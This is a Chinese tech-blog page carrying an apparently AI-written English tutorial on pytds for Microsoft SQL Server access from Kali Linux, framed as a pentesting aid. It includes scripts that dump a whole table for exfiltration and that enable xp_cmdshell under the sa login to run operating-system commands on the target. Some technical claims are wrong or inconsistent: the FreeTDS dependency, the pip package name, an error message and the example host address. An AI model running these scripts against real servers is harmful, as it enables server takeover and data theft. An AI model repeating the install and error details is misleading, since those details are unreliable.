杰瑞科技汇

Kali Python dblib如何高效使用?

Of course! Let's dive into dblib on Kali Linux.

Kali Python dblib如何高效使用?-图1
(图片来源网络,侵删)

First, a crucial clarification: dblib is not a Python library. It's a C language library that provides a common API for connecting to different database systems (like SQL Server, Sybase, etc.).

When people talk about using "dblib with Python," they are almost always referring to pytds, which is a modern, pure-Python implementation of the FreeTDS library (which itself is a re-implementation of the C dblib API).

Here's a complete guide on how to use pytds to connect to Microsoft SQL Server (MSSQL) from Python on Kali Linux. This is a very common task for penetration testers, whether it's for dumping database contents or executing commands via SQL injection.


Why Use pytds on Kali?

  • MSSQL in Pentesting: Many enterprise environments use Microsoft SQL Server. You'll need a reliable way to connect to it.
  • SQL Injection: When you exploit a SQL injection vulnerability and get a shell, you often need to interact with the underlying database to dump data, users, or even execute operating system commands (via xp_cmdshell).
  • Reliability: pytds is actively maintained and considered more robust than older alternatives like pymssql.

Step 1: Install Prerequisites and pytds

Kali Linux uses Debian's package manager, apt. We'll need to install the necessary system libraries first, then pytds using pip.

Kali Python dblib如何高效使用?-图2
(图片来源网络,侵删)

Install System Dependencies

These libraries are required by pytds to compile and function correctly. Open a terminal and run:

sudo apt update
sudo apt install -y python3-pip freetds-bin freetds-dev
  • python3-pip: The Python package installer.
  • freetds-bin: Contains the command-line tools like tsql for testing connections.
  • freetds-dev: The development headers and libraries needed to build Python modules that depend on FreeTDS.

Install pytds using pip

Now, install the Python library itself:

pip3 install pytds

You now have everything you need to start connecting to MSSQL databases from Python.


Step 2: Basic Connection and Querying

Here is a simple Python script that demonstrates how to connect to a database, execute a query, and fetch the results.

Let's assume you have the following connection details (these are examples):

  • Host: 168.1.100
  • Port: 1433 (default MSSQL port)
  • Username: sa
  • Password: P@ssw0rd!
  • Database: master

Example Script: basic_query.py

import pytds
import sys
# --- Connection Details ---
# Replace with your actual target details
SERVER = '192.168.1.100'
PORT = 1433
USERNAME = 'sa'
PASSWORD = 'P@ssw0rd!'
DATABASE = 'master'
def connect_and_query():
    """
    Connects to the MSSQL database and runs a simple query.
    """
    print(f"[*] Attempting to connect to {SERVER}:{PORT}...")
    try:
        # The 'timeout' parameter is crucial for pentesting to avoid hanging
        conn = pytds.connect(
            server=SERVER,
            port=PORT,
            user=USERNAME,
            password=PASSWORD,
            database=DATABASE,
            timeout=5  # 5 second timeout
        )
        print("[+] Connection successful!")
        # Create a cursor object to execute queries
        cursor = conn.cursor()
        # --- Execute a query ---
        print("[*] Executing query: 'SELECT @@VERSION'")
        cursor.execute("SELECT @@VERSION")
        # --- Fetch the results ---
        # fetchone() gets the first row
        row = cursor.fetchone()
        if row:
            print(f"[+] SQL Server Version: {row[0]}")
        else:
            print("[-] No rows returned.")
        # --- Execute another query ---
        print("\n[*] Executing query: 'SELECT name FROM sys.databases'")
        cursor.execute("SELECT name FROM sys.databases")
        # fetchall() gets all remaining rows
        databases = cursor.fetchall()
        print("[+] Found Databases:")
        for db in databases:
            print(f"    - {db[0]}")
        # --- Clean up ---
        cursor.close()
        conn.close()
        print("[+] Connection closed.")
    except pytds.OperationalError as e:
        # This is a common error for connection issues
        print(f"[-] Connection failed: OperationalError: {e}")
        print("[-] Possible reasons: Wrong credentials, host down, firewall blocking port, or SQL Server is not configured for remote connections.")
    except Exception as e:
        # Catch any other exceptions
        print(f"[-] An unexpected error occurred: {e}")
if __name__ == "__main__":
    connect_and_query()

To run the script:

python3 basic_query.py

Step 3: Pentesting Scenarios

This is where pytds becomes a powerful tool in your Kali arsenal.

Scenario 1: Dumping Table Data (Post-Exploitation)

After gaining access (e.g., through a SQL injection), you'll want to exfiltrate data. This script connects and dumps all data from a specific table.

# dump_table_data.py
import pytds
SERVER = '192.168.1.100'
PORT = 1433
USERNAME = 'sa'
PASSWORD = 'P@ssw0rd!'
DATABASE = 'YourDB'
TABLE_TO_DUMP = 'users'
def dump_table():
    try:
        conn = pytds.connect(server=SERVER, port=PORT, user=USERNAME, password=PASSWORD, database=DATABASE, timeout=5)
        cursor = conn.cursor()
        # First, get the column names
        cursor.execute(f"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '{TABLE_TO_DUMP}'")
        columns = [col[0] for col in cursor.fetchall()]
        print(f"[*] Columns found: {', '.join(columns)}")
        # Then, get all the data
        cursor.execute(f"SELECT * FROM {TABLE_TO_DUMP}")
        rows = cursor.fetchall()
        if not rows:
            print("[-] No data found in the table.")
            return
        print(f"\n[+] Dumping data from table '{TABLE_TO_DUMP}':")
        # Print header
        print("\t".join(columns))
        # Print data rows
        for row in rows:
            print("\t".join(str(item) for item in row))
        cursor.close()
        conn.close()
    except Exception as e:
        print(f"[-] Error: {e}")
if __name__ == "__main__":
    dump_table()

Scenario 2: Enabling and Using xp_cmdshell (Command Execution)

xp_cmdshell is an extended stored procedure that allows you to execute operating system commands from within SQL Server. It's often disabled by default for security but can be enabled by a privileged user (like sa).

WARNING: This is extremely powerful and destructive. Only use this in authorized environments.

# xp_cmdshell_example.py
import pytds
SERVER = '192.168.1.100'
PORT = 1433
USERNAME = 'sa'
PASSWORD = 'P@ssw0rd!'
DATABASE = 'master'
def enable_and_execute_cmdshell():
    try:
        conn = pytds.connect(server=SERVER, port=PORT, user=USERNAME, password=PASSWORD, database=DATABASE, timeout=5)
        cursor = conn.cursor()
        # 1. Check if xp_cmdshell is already enabled
        print("[*] Checking if xp_cmdshell is enabled...")
        cursor.execute("SELECT 1 FROM sys.configurations WHERE name = 'xp_cmdshell' AND value_in_use = 1")
        if cursor.fetchone():
            print("[+] xp_cmdshell is already enabled.")
        else:
            print("[-] xp_cmdshell is disabled. Attempting to enable it...")
            # 2. Enable it by setting the advanced option
            cursor.execute("sp_configure 'show advanced options', 1")
            cursor.execute("RECONFIGURE")
            cursor.execute("sp_configure 'xp_cmdshell', 1")
            cursor.execute("RECONFIGURE")
            print("[+] xp_cmdshell has been enabled.")
        # 3. Execute a command
        # We use 'EXEC' to run the stored procedure
        # whoami is a simple command to verify execution
        command_to_run = 'whoami'
        print(f"[*] Executing command: '{command_to_run}' via xp_cmdshell...")
        # Note: The output of xp_cmdshell is returned as a single-row, single-column result.
        cursor.execute(f"EXEC xp_cmdshell '{command_to_run}'")
        output = cursor.fetchone()
        if output and output[0]:
            print(f"[+] Command Output:\n{output[0]}")
        else:
            print("[-] No output from command. It may have failed or returned an empty result.")
        cursor.close()
        conn.close()
    except Exception as e:
        print(f"[-] Error: {e}")
if __name__ == "__main__":
    enable_and_execute_cmdshell()

Troubleshooting Common Issues

  • OperationalError: (20002, 'DB-LIBRARY error: Adaptive Server connection failed')

    • Cause: The most common error. The connection to the database failed.
    • Solutions:
      1. Check Network: Can Kali ping the target IP? Is the firewall on the target or on Kali allowing traffic on TCP port 1433?
      2. Check SQL Server: Is the MSSQL service running on the target?
      3. Check Credentials: Are the username and password correct?
      4. Check Remote Connections: On the target SQL Server, you may need to enable "Remote connections" in the SQL Server Configuration Manager.
  • pytds.InterfaceError: Protocol error, likely server closed connection.

    • Cause: The server accepted the connection but then immediately closed it. This often happens if the server is configured to only allow specific encryption types (like ForceEncryption or Encrypt) that your client isn't using.
    • Solution: You can tell pytds to use encryption by adding the encrypt parameter to the connect() call:
      conn = pytds.connect(..., encrypt='yes') 
      # Other options: 'no', 'strict', 'prefer'
  • ModuleNotFoundError: No module named 'pytds'

    • Cause: You installed pytds for python but are running the script with python3.
    • Solution: Always use pip3 and python3 to ensure you're using the correct Python 3 environment.

Summary

Task Kali Command / Python Code
Install sudo apt install python3-pip freetds-bin freetds-dev
pip3 install pytds
Connect conn = pytds.connect(server=..., user=..., password=..., ...)
Get Cursor cursor = conn.cursor()
Execute Query cursor.execute("YOUR SQL QUERY HERE")
Fetch Results row = cursor.fetchone()
rows = cursor.fetchall()
Close Connection cursor.close()
conn.close()

Using pytds gives you a reliable and programmatic way to interact with MSSQL databases, making it an essential tool for any penetration tester working in environments that use Microsoft's database technology.

分享:
扫描分享到社交APP
上一篇
下一篇